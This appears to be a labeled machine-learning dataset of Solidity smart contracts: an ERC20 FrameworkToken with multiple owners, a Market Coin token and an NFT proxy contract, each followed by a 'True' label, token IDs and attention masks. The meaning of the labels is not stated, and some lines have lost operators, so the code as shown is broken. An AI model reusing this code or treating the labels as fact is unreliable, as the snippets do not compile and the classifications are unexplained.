require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. / function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. / contract Contactable is Ownable { string public contactInformation; /* * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. / function setContactInformation(string info) onlyOwner public { contactInformation = info; } } /* * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /* * @title Capped token * @dev Mintable token with a token cap. / contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint( address _to, uint256 _amount ) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /* * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. / contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /* * @dev Modifier to make a function callable only when the contract is not paused. / modifier whenNotPaused() { require(!paused); _; } /* * @dev Modifier to make a function callable only when the contract is paused. / modifier whenPaused() { require(paused); _; } /* * @dev called by the owner to pause, triggers stopped state / function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /* * @dev called by the owner to unpause, returns to normal state / function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /* * @title Pausable token * @dev StandardToken modified with pausable transfers. */ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract FrameworkToken is CappedToken, PausableToken, Contactable { string public name = "Framework"; string public symbol = "FRWK"; uint8 public decimals = 18; uint256 public cappedTokenSupply = 100000000 (10 ** uint256(decimals)); // There will be total 100 million FRWK Tokens mapping(address => bool) public owners; function FrameworkToken() CappedToken(cappedTokenSupply) public { } modifier onlyOwner() { require(isAnOwner(msg.sender)); _; } function addNewOwner(address _owner) public onlyOwner{ require(_owner != address(0)); owners[_owner]= true; } function removeOwner(address _owner) public onlyOwner{ require(_owner != address(0)); require(_owner != msg.sender); owners[_owner]= false; } function isAnOwner(address _owner) public constant returns(bool) { if (_owner == owner){ return true; } return owners[_owner]; } modifier hasMintPermission() { require(isAnOwner(msg.sender)); _; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 27644, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 2156, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 4139, 1013, 4720, 2475, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 16109, 2407, 1997, 2048, 3616, 1010, 19817, 4609, 18252, 1996, 22035, 9515, 3372, 1012, 1008, 1013, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 20865, 1006, 1038, 1028, 1014, 1007, 1025, 1013, 1013, 5024, 3012, 8073, 11618, 2043, 16023, 2011, 1014, 1013, 1013, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 1013, 1013, 20865, 1006, 1037, 1027, 1027, 1038, 1008, 1039, 1009, 1037, 1003, 1038, 1007, 1025, 1013, 1013, 2045, 2003, 2053, 2553, 1999, 2029, 2023, 2987, 1005, 1056, 2907, 2709, 1037, 1013, 1038, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4942, 6494, 16649, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1006, 1045, 1012, 1041, 1012, 2065, 4942, 6494, 22342, 2003, 3618, 2084, 8117, 24997, 2094, 1007, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 20865, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 2709, 1037, 1011, 1038, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 9909, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 20865, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 7389, 23709, 11788, 1006, 4769, 25331, 3025, 12384, 2121, 1007, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } contract Context { constructor () { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, Ownable, IERC20 { using SafeMath for uint; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; uint internal _totalSupply; function totalSupply() public view override returns (uint) { return _totalSupply; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address towner, address spender) public view override returns (uint) { return _allowances[towner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address towner, address spender, uint amount) internal { require(towner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[towner][spender] = amount; emit Approval(towner, spender, amount); } } contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory tname, string memory tsymbol, uint8 tdecimals) { _name = tname; _symbol = tsymbol; _decimals = tdecimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract MKT is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public _owner; constructor () ERC20Detailed("Market Coin", "MKT", 8) { _owner = msg.sender; _totalSupply = 7000000000000 (10**uint256(8)); _balances[_owner] = _totalSupply; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: The Blobs V1 /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // 💀NOBODY IS PERFECT, AND SURELY NOT THE BLOBS!! 100 Hand-Drawn BLOBS, Unique in Names & Shapes, are Taking-Over OpenSea to enjoy the technologies of WEB3.💀 // // // // -- // // // // 🏴BLOBS Aim to grow across multiple networks (SOL/MATIC/WAX etc) while gathering an Exclusive Club of 100 like-minded HOOMANS with no hierarchy. 1 BLOB MAX per HOOMAN so 100 BLOBS = 100 HOOMANS.🏴 // // // // -- // // // // 🤑 1 BLOB = 1% OWNERSHIP over our Community Wallet & 1 BLOB = 1 VOTE in our PREMIUM SANDBOXLAND metaverse.🤑 // // // // -- // // // // 🛒Supply 100. Mint Ξ0.025. Free Airdrop of V2, V3, V4...🛒 // // // // -- // // // // ✌️NO WEBSITE. Join The Blobs Discord to ask for your name to be listed and enjoy your perks.✌️ // // // // -- // // // // 🖤FYI: Blobs are unique, special, emotional creatures! Often made fun of because of their unconventional features, they are actually loyal friends ready to give back.🖤 // // // // // // --- // // // // // // Medium Article // // // // https://theblobs.medium.com/the-blobs-v1-6da3585acc75 // // // // YOUTUBE // // // // https://www.youtube.com/watch?v=SKfA5rlhYf0 // // // // TWITTER // // // // https://twitter.com/thefrenchfarmer // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract BLOBS is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. / bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /* * @dev Returns the current implementation address. / function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /* * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. / abstract contract Proxy { /* * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. / function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /* * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. / function _implementation() internal view virtual returns (address); /* * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. / function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. / fallback() external payable virtual { _fallback(); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. / receive() external payable virtual { _fallback(); } /* * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. / function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /* * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ / library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /* * @dev 